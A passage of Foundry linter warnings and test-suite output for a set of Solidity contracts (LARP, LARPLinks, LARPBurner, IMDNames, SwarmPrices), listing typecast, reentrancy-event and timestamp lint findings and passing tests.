━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:213:25\n    │\n213 │         int128 bought = int128(d);\n    │                         ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:214:26\n    │\n214 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:214:33\n    │\n214 │         if (ethDelta != -int128(int256(amount)) || bought <= 0) revert Unfilled();\n    │                                 ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:327:22\n    │\n327 │         (bool ok,) = LARP.canAct(c.captain, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPBurner.sol:215:9\n    │\n215 │         POOL_MANAGER.settle{value: amount}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:216:47\n    │\n216 │         POOL_MANAGER.take(IMD, address(this), uint128(bought));\n    │                                               ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:217:27\n    │\n217 │         return abi.encode(uint256(uint128(bought)));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:217:35\n    │\n217 │         return abi.encode(uint256(uint128(bought)));\n    │                                   ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARPBurner.sol:233:34\n    │\n233 │         emit Burned(rest, share, burned6900);\n    │                                  ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:342:39\n    │\n342 │         address distributor = address(uint160(w));\n    │                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPLinks.sol:380:31\n    │\n380 │             j.token = address(uint160(t));\n    │                               ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint160' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:137:9\n    │\n137 │         emit NameRegistered(tokenId, label, to, price);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:153:13\n    │\n153 │             emit NameUnlinked(old, imdId);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:158:13\n    │\n158 │             emit NameUnlinked(tokenId, was - 1);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:162:9\n    │\n162 │         emit NameLinked(tokenId, imdId, holder, toll);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:443:9\n    │\n443 │         (, c.faceCollection, c.faceTokenId, c.faceLive) = LARP.faceOf(imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:185:9\n    │\n185 │         emit NameUnlinked(tokenId, imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:454:22\n    │\n454 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:181:22\n    │\n181 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:306:26\n    │\n306 │     function setRenderer(address renderer_) external {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:111:33\n    │\n111 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:120:64\n    │\n120 │         if (holder == address(0) || who == address(0)) return (false, holder);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:121:36\n    │\n121 │         if (who == holder) return (true, holder);\n    │                                    ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:265:36\n    │\n265 │         if (at == 0) return (0, 0, false);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:314:24\n    │\n314 │     function setArtist(address artist_) external {\n    │                        ━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n   ╭▸ src/LARP.sol:78:13\n   │\n78 │         if (block.timestamp > deadline) revert Expired();\n   │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARP.sol:138:9\n    │\n138 │         emit AgentSet(imdId, holder, agent);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:159:45\n    │\n159 │         return ok && answer.length >= 32 && bytes4(abi.decode(answer, (bytes32))) == 0x1626ba7e;\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:180:16\n    │\n180 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:183:9\n    │\n183 │         emit Verdict(requestId, approved, a.agreed, a.panelSize);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:180:83\n    │\n180 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                                                                                   ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes32' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/LARP.sol:310:15\n    │\n310 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:182:23\n    │\n182 │         p.decidedAt = uint64(block.timestamp);\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:314:36\n    │\n314 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:325:22\n    │\n325 │             out[i] = bytes16(\"0123456789abcdef\")[v & 15];\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes16' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:200:44\n    │\n200 │         if (p.status != Status.Approved || block.timestamp > p.decidedAt + EXECUTE_WINDOW) revert NotApproved();\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:202:32\n    │\n202 │         if (lastChange != 0 && block.timestamp < lastChange + COOLDOWN) revert Cooling();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:206:22\n    │\n206 │         lastChange = uint64(block.timestamp);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:302:36\n    │\n302 │             digits[i - 1] = bytes1(uint8(48 + frac % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/SwarmPrices.sol:318:15\n    │\n318 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:322:36\n    │\n322 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/LARPAgents.t.sol:139:28\n    │\n139 │         uint256 deadline = block.timestamp + 1 hours;\n    │                            ━━━━━━━━━━━━━━━\n140 │         bytes memory sig = _sign(ownerKey, 7, agent, owner, 0, deadline);\n141 │         vm.warp(deadline + 1);\n    │         ───────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:195:95\n    │\n195 │         (Attestation memory a, bytes memory sig) = _attest(true, 0, \"\", block.chainid, uint64(block.timestamp + 1 days));\n    │                                                                                               ━━━━━━━━━━━━━━━\n    ‡\n201 │         vm.warp(block.timestamp + 14 days);\n    │         ────────────────────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:51:30\n    │\n 51 │             issuedAt: uint64(block.timestamp),\n    │                              ━━━━━━━━━━━━━━━\n    ‡\n201 │         vm.warp(block.timestamp + 14 days);\n    │         ────────────────────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:201:17\n    │\n201 │         vm.warp(block.timestamp + 14 days);\n    │         ────────━━━━━━━━━━━━━━━─────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:195:95\n    │\n195 │         (Attestation memory a, bytes memory sig) = _attest(true, 0, \"\", block.chainid, uint64(block.timestamp + 1 days));\n    │                                                                                               ━━━━━━━━━━━━━━━\n    ‡\n228 │         vm.warp(block.timestamp + 7 days);\n    │         ───────────────────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:51:30\n    │\n 51 │             issuedAt: uint64(block.timestamp),\n    │                              ━━━━━━━━━━━━━━━\n    ‡\n228 │         vm.warp(block.timestamp + 7 days);\n    │         ───────────────────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/SwarmPricesEdges.t.sol:228:17\n    │\n228 │         vm.warp(block.timestamp + 7 days);\n    │         ────────━━━━━━━━━━━━━━━────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":26905,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 14 tests for test/LARPAgents.t.sol:LARPAgentsTest\n[PASS] test_AContractWalletSignsWithERC1271() (gas: 431060)\n[PASS] test_ASignatureWorksOnce() (gas: 230440)\n[PASS] test_AnAgentCantNameAgentsOrTheWallet() (gas: 195871)\n[PASS] test_AnAgentDressesTheIdentityWithTheOwnersNFTs() (gas: 396334)\n[PASS] test_AnAgentLapsesOnASale() (gas: 317701)\n[PASS] test_AnAgentLinksTheOwnersNameAndSetsTexts() (gas: 974963)\n[PASS] test_AnAgentResigns() (gas: 193582)\n[PASS] test_AnAgentRunsFrensAndCrews() (gas: 1220167)\n[PASS] test_AnyAgentChangeVoidsOutstandingSignatures() (gas: 188002)\n[PASS] test_BadSignatures() (gas: 364692)\n[PASS] test_OnlyTheOwnerSetsTheAgent() (gas: 40977)\n[PASS] test_SignaturesExpire() (gas: 49228)\n[PASS] test_TheOwnerConnectsAnAgentInOneCall() (gas: 188975)\n[PASS] test_TheOwnerSignsTheAgentSends() (gas: 176447)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 8.52ms (7.17ms CPU time)\n\nRan 24 tests for test/LARP.t.sol:LARPFaceTest\n[PASS] testFuzz_OnlyTheHolderOfBothSetsAFace(address,uint256,uint256) (runs: 256, μ: 55926, ~: 56464)\nLogs:\n  Bound result 3\n  Bound result 10\n\n[PASS] test_AFaceComesBackWithBothTokens() (gas: 220934)\n[PASS] test_AMaskMovesToTheIdentityThatPutsItOn() (gas: 323750)\n[PASS] test_AvatarFormat() (gas: 249931)\n[PASS] test_ChangingMasksFreesTheOldOne() (gas: 274960)\n[PASS] test_ClearFace() (gas: 200738)\n[PASS] test_ClearingNoFaceDoesNothing() (gas: 36612)\n[PASS] test_FaceURIFallsBackOnABrokenTokenURI() (gas: 2152591)\n[PASS] test_OnlyTheIdentitysOwnerClears() (gas: 173845)\n[PASS] test_PuttingTheSameMaskOnAgain() (gas: 240094)\n[PASS] test_RefusesAMaskThatIsNotYours() (gas: 49187)\n[PASS] test_RefusesAnIdentityAsAMask() (gas: 41585)\n[PASS] test_RefusesAnIdentityThatDoesNotExist() (gas: 41653)\n[PASS] test_RefusesAnIdentityThatIsNotYours() (gas: 43653)\n[PASS] test_RefusesWhatIsNotAnNFT() (gas: 510494)\n[PASS] test_SellingTheIdentityTakesTheFaceDown() (gas: 252506)\n[PASS] test_SellingTheMaskTakesTheFaceDown() (gas: 223250)\n[PASS] test_SetFace() (gas: 266231)\n[PASS] test_SupportsInterface() (gas: 27637)\n[PASS] test_TheIdentitysNewOwnerClearsTheOldFace() (gas: 225470)\n[PASS] test_TheNewHolderOfAMaskTakesItOff() (gas: 321718)\n[PASS] test_TheNewOwnerMustChooseAgain() (gas: 327564)\n[PASS] test_WearerOfAnUnwornMask() (gas: 14020)\n[PASS] test_ZeroIdentityRefused() (gas: 4446)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 17.69ms (21.13ms CPU time)\n\nRan 24 tests for test/LARPLinks.t.sol:LARPLinksTest\n[PASS] test_AGasHungryTokenCantSinkTheBoard() (gas: 1737463)\n[PASS] test_AnInnerNodeIsNotALeaf() (gas: 1448373)\n[PASS] test_AnUnreadableTokenCountsAsHeld() (gas: 1784660)\n[PASS] test_BadAllocations() (gas: 1754999)\n[PASS] test_CaptainsRun() (gas: 952499)\n[PASS] test_Card() (gas: 1623640)\n[PASS] test_CrewFoundingRules() (gas: 906118)\n[PASS] test_Disband() (gas: 1530601)\n[PASS] test_FoundACrewWithImd() (gas: 1176613)\n[PASS] test_FoundingACrewBurnsIMD() (gas: 738746)\n[PASS] test_FrenRules() (gas: 383139)\n[PASS] test_FrensPassWithTheIdentity() (gas: 302573)\n[PASS] test_FrensTakeTwo() (gas: 266329)\n[PASS] test_JeetsAreReadLive() (gas: 2364108)\n[PASS] test_JeetsInPages() (gas: 8424463)\n[PASS] test_OpenAndClosedCrews() (gas: 1675553)\n[PASS] test_PassTheCaptaincy() (gas: 937577)\n[PASS] test_ProveAnAllocation() (gas: 1534389)\n[PASS] test_RanksAcrossLaunches() (gas: 5184173)\n[PASS] test_TheCaptaincyPassesWithTheIdentity() (gas: 757495)\n[PASS] test_TheRankIsTheHoldersNow() (gas: 1748137)\n[PASS] test_Tiers() (gas: 80885)\n[PASS] test_Unfren() (gas: 271974)\n[PASS] test_WithdrawAndDeclineAsks() (gas: 244060)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 40.13ms (25.50ms CPU time)\n\nRan 15 tests for test/LARPEdges.t.sol:LARPEdgesTest\n[PASS] testFuzz_WearerOfRoundTripsForAnyIdentityId(uint256,uint8) (runs: 256, μ: 219990, ~: 220684)\nLogs:\n  Bound result 1154010428741652540208578854319020342673259101580161064432766924458585298696\n  Bound result 3\n\n[PASS] test_ACopyPlacedTwiceIsCountedTwice() (gas: 341053)\n[PASS] test_ASignatureFromAnotherChainIsRefused() (gas: 83326)\n[PASS] test_AgentsOfNothing() (gas: 146135)\n[PASS] test_AnAgentTakesOffThePreviousOwnersItems() (gas: 350579)\n[PASS] test_ConstantsAndDomain() (gas: 57230)\n[PASS] test_ContractWalletsThatRefuseOrMumble() (gas: 462979)\n[PASS] test_EmptySpots() (gas: 141020)\n[PASS] test_OddSignatureBytes() (gas: 342349)\n[PASS] test_OneAgentForTwoIdentities() (gas: 326950)\n[PASS] test_RemovingAnAgentBumpsTheNonce() (gas: 371695)\n[PASS] test_ResigningDoesNotBumpTheNonce() (gas: 288556)\n[PASS] test_SupportsInterfaceIsPure() (gas: 15273)\n[PASS] test_TakingOffAnEmptySlotIsSilent() (gas: 61582)\n[PASS] test_ThePlacerTakesOffWhatItPlacedAfterSellingTheIdentity() (gas: 426342)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 43.73ms (47.24ms CPU time)\n\nRan 24 tests for test/LARPLinksEdges.t.sol:LARPLinksEdgesTest\n[PASS] testFuzz_JeetBpsIsTheSoldShareOfTheAllocation(uint128,uint256,bool) (runs: 256, μ: 1664458, ~: 1535763)\nLogs:\n  Bound result 1456877794014\n  Bound result 232177961430\n\n[PASS] testFuzz_TiersAreMonotoneInJeetPoints(uint256,uint256,uint256) (runs: 256, μ: 33088, ~: 33223)\nLogs:\n  Bound result 818\n  Bound result 2108661\n  Bound result 4455073\n\n[PASS] test_ACardWithALiveFace() (gas: 694335)\n[PASS] test_ADisbandedCrewIsGone() (gas: 984583)\n[PASS] test_ADistributorWithoutARootIsUnknown() (gas: 1411930)\n[PASS] test_ADistributorWithoutATokenCountsAsHeld() (gas: 1673555)\n[PASS] test_ALauncherAnsweringGarbageIsUnknown() (gas: 1533984)\n[PASS] test_AllocationBounds() (gas: 2897946)\n[PASS] test_AnAskSurvivesASaleOfEitherIdentity() (gas: 241341)\n[PASS] test_AnEmptyProofForASoloRound() (gas: 1509668)\n[PASS] test_AnIdentityNobodyHolds() (gas: 54774)\n[PASS] test_CaptainRules() (gas: 948093)\n[PASS] test_ConstructorRefusesZeroAddresses() (gas: 13620)\n[PASS] test_CrewNamesAtTheEdges() (gas: 1409444)\n[PASS] test_Defaults() (gas: 177309)\n[PASS] test_FoundCrewWithImdRefusals() (gas: 1369238)\n[PASS] test_FoundCrewWithTheWrongValue() (gas: 357380)\n[PASS] test_InviteRules() (gas: 928056)\n[PASS] test_JoinLeaveRules() (gas: 1104036)\n[PASS] test_LaunchJeetPastTheEndReverts() (gas: 14427)\n[PASS] test_MembersCountFollowsEveryMove() (gas: 1085339)\n[PASS] test_TwoRoundsOfOneLaunchAreOneLevel() (gas: 1866835)\n[PASS] test_UnfrenClearsBothAsksAtOnce() (gas: 388582)\n[PASS] test_UnfrenWithNothingDoesNothing() (gas: 86806)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 43.71ms (69.00ms CPU time)\n\nRan 15 tests for test/SwarmPrices.t.sol:SwarmPricesTest\n[PASS] test_AProposalForOldPricesGoesStale() (gas: 3672902)\n[PASS] test_ARejectedProposalChangesNothing() (gas: 2232278)\n[PASS] test_AVerdictMustBeUsedWithinTwoWeeks() (gas: 2208993)\n[PASS] test_AWeakPanelIsARejection() (gas: 6235442)\n[PASS] test_AnExpiredVerdictIsARejection() (gas: 2192125)\n[PASS] test_AnyoneProposesAndTheContractWritesTheQuestion() (gas: 2850404)\n[PASS] test_ApprovedThenAnyoneExecutes() (gas: 3549382)\n[PASS] test_ExecutedOnce() (gas: 2252959)\n[PASS] test_Guardrails() (gas: 209261)\n[PASS] test_NoVerdictClosesTheProposal() (gas: 2224808)\n[PASS] test_OneChangeAWeek() (gas: 3735070)\n[PASS] test_OnlyTheIntakeDeliversAndOnlyForItsOwnProposals() (gas: 2218713)\n[PASS] test_OnlyTheOraclesSignatureForThisContractCounts() (gas: 2357130)\n[PASS] test_StartPrices() (gas: 58550)\n[PASS] test_TheOracleMustBePaid() (gas: 229593)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 55.23ms (19.41ms CPU time)\n\nRan 13 tests for test/LARPBurnerEdges.t.sol:LARPBurnerEdgesTest\n[PASS] testFuzz_ABurnSpendsMinOfBalanceAndMaxBurn(uint256,uint256) (runs: 128, μ: 770181, ~: 772454)\nLogs:\n  Bound result 420853806609233407\n  Bound result 474316624888550841\n\n[PASS] testFuzz_QuoteIsLinearAndMonotone(uint256,uint256) (runs: 256, μ: 576424, ~: 576480)\nLogs:\n  Bound result 4420853806609233415\n  Bound result 5302390995442772840\n\n[PASS] testFuzz_SixPointNinePercentBuysIMD6900AndTheRestBurns(uint256) (runs: 256, μ: 557372, ~: 550025)\nLogs:\n  Bound result 15475\n\n[PASS] test_APartialFillOnPool4FallsToTheHooklessPool() (gas: 2561627)\n[PASS] test_AWrongPool4KeyFallsToTheHooklessPool() (gas: 828810)\n[PASS] test_Constants() (gas: 65741)\n[PASS] test_ConstructorRefusesZeroAddresses() (gas: 9221)\n[PASS] test_ExactlyMaxBurnInOneCall() (gas: 1269444)\n[PASS] test_NoPoolAtAllParksAndQuotesNothing() (gas: 607833)\n[PASS] 